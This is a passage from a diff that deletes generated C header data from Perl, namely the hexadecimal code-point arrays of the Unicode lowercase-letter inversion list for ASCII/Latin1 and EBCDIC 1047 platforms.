0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B0, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2184, - 0x2185, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7C, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0xA641, - 0xA642, - 0xA643, - 0xA644, - 0xA645, - 0xA646, - 0xA647, - 0xA648, - 0xA649, - 0xA64A, - 0xA64B, - 0xA64C, - 0xA64D, - 0xA64E, - 0xA64F, - 0xA650, - 0xA651, - 0xA652, - 0xA653, - 0xA654, - 0xA655, - 0xA656, - 0xA657, - 0xA658, - 0xA659, - 0xA65A, - 0xA65B, - 0xA65C, - 0xA65D, - 0xA65E, - 0xA65F, - 0xA660, - 0xA661, - 0xA662, - 0xA663, - 0xA664, - 0xA665, - 0xA666, - 0xA667, - 0xA668, - 0xA669, - 0xA66A, - 0xA66B, - 0xA66C, - 0xA66D, - 0xA66E, - 0xA681, - 0xA682, - 0xA683, - 0xA684, - 0xA685, - 0xA686, - 0xA687, - 0xA688, - 0xA689, - 0xA68A, - 0xA68B, - 0xA68C, - 0xA68D, - 0xA68E, - 0xA68F, - 0xA690, - 0xA691, - 0xA692, - 0xA693, - 0xA694, - 0xA695, - 0xA696, - 0xA697, - 0xA698, - 0xA699, - 0xA69A, - 0xA69B, - 0xA69C, - 0xA723, - 0xA724, - 0xA725, - 0xA726, - 0xA727, - 0xA728, - 0xA729, - 0xA72A, - 0xA72B, - 0xA72C, - 0xA72D, - 0xA72E, - 0xA72F, - 0xA732, - 0xA733, - 0xA734, - 0xA735, - 0xA736, - 0xA737, - 0xA738, - 0xA739, - 0xA73A, - 0xA73B, - 0xA73C, - 0xA73D, - 0xA73E, - 0xA73F, - 0xA740, - 0xA741, - 0xA742, - 0xA743, - 0xA744, - 0xA745, - 0xA746, - 0xA747, - 0xA748, - 0xA749, - 0xA74A, - 0xA74B, - 0xA74C, - 0xA74D, - 0xA74E, - 0xA74F, - 0xA750, - 0xA751, - 0xA752, - 0xA753, - 0xA754, - 0xA755, - 0xA756, - 0xA757, - 0xA758, - 0xA759, - 0xA75A, - 0xA75B, - 0xA75C, - 0xA75D, - 0xA75E, - 0xA75F, - 0xA760, - 0xA761, - 0xA762, - 0xA763, - 0xA764, - 0xA765, - 0xA766, - 0xA767, - 0xA768, - 0xA769, - 0xA76A, - 0xA76B, - 0xA76C, - 0xA76D, - 0xA76E, - 0xA76F, - 0xA770, - 0xA771, - 0xA779, - 0xA77A, - 0xA77B, - 0xA77C, - 0xA77D, - 0xA77F, - 0xA780, - 0xA781, - 0xA782, - 0xA783, - 0xA784, - 0xA785, - 0xA786, - 0xA787, - 0xA788, - 0xA78C, - 0xA78D, - 0xA78E, - 0xA78F, - 0xA791, - 0xA792, - 0xA793, - 0xA796, - 0xA797, - 0xA798, - 0xA799, - 0xA79A, - 0xA79B, - 0xA79C, - 0xA79D, - 0xA79E, - 0xA79F, - 0xA7A0, - 0xA7A1, - 0xA7A2, - 0xA7A3, - 0xA7A4, - 0xA7A5, - 0xA7A6, - 0xA7A7, - 0xA7A8, - 0xA7A9, - 0xA7AA, - 0xA7B5, - 0xA7B6, - 0xA7B7, - 0xA7B8, - 0xA7FA, - 0xA7FB, - 0xAB30, - 0xAB5B, - 0xAB60, - 0xAB66, - 0xAB70, - 0xABC0, - 0xFB00, - 0xFB07, - 0xFB13, - 0xFB18, - 0xFF41, - 0xFF5B, - 0x10428, - 0x10450, - 0x104D8, - 0x104FC, - 0x10CC0, - 0x10CF3, - 0x118C0, - 0x118E0, - 0x1D41A, - 0x1D434, - 0x1D44E, - 0x1D455, - 0x1D456, - 0x1D468, - 0x1D482, - 0x1D49C, - 0x1D4B6, - 0x1D4BA, - 0x1D4BB, - 0x1D4BC, - 0x1D4BD, - 0x1D4C4, - 0x1D4C5, - 0x1D4D0, - 0x1D4EA, - 0x1D504, - 0x1D51E, - 0x1D538, - 0x1D552, - 0x1D56C, - 0x1D586, - 0x1D5A0, - 0x1D5BA, - 0x1D5D4, - 0x1D5EE, - 0x1D608, - 0x1D622, - 0x1D63C, - 0x1D656, - 0x1D670, - 0x1D68A, - 0x1D6A6, - 0x1D6C2, - 0x1D6DB, - 0x1D6DC, - 0x1D6E2, - 0x1D6FC, - 0x1D715, - 0x1D716, - 0x1D71C, - 0x1D736, - 0x1D74F, - 0x1D750, - 0x1D756, - 0x1D770, - 0x1D789, - 0x1D78A, - 0x1D790, - 0x1D7AA, - 0x1D7C3, - 0x1D7C4, - 0x1D7CA, - 0x1D7CB, - 0x1D7CC, - 0x1E922, - 0x1E944 -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_LOWERCASELETTER_invlist[] = { /* for EBCDIC 1047 */ - 1281, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x42, - 0x4A, - 0x51, - 0x5A, - 0x70, - 0x71, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9A, - 0x9C, - 0x9D, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xCB, - 0xD0, - 0xDB, - 0xE0, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BD, - 0x1C0, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B0, - 0x371, - 0x372, - 0x373, - 0x374, - 0x377, - 0x378, - 0x37B, - 0x37E, - 0x390, - 0x391, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x561, - 0x588, - 0x13F8, - 0x13FE, - 0x1C80, - 0x1C89, - 0x1D00, - 0x1D2C, - 0x1D6B, - 0x1D78, - 0x1D79, - 0x1D9B, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F50, - 0x1F58, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FE0, - 0x1FE8, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2184, - 0x2185, - 0x2C30, - 0x2C5F, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 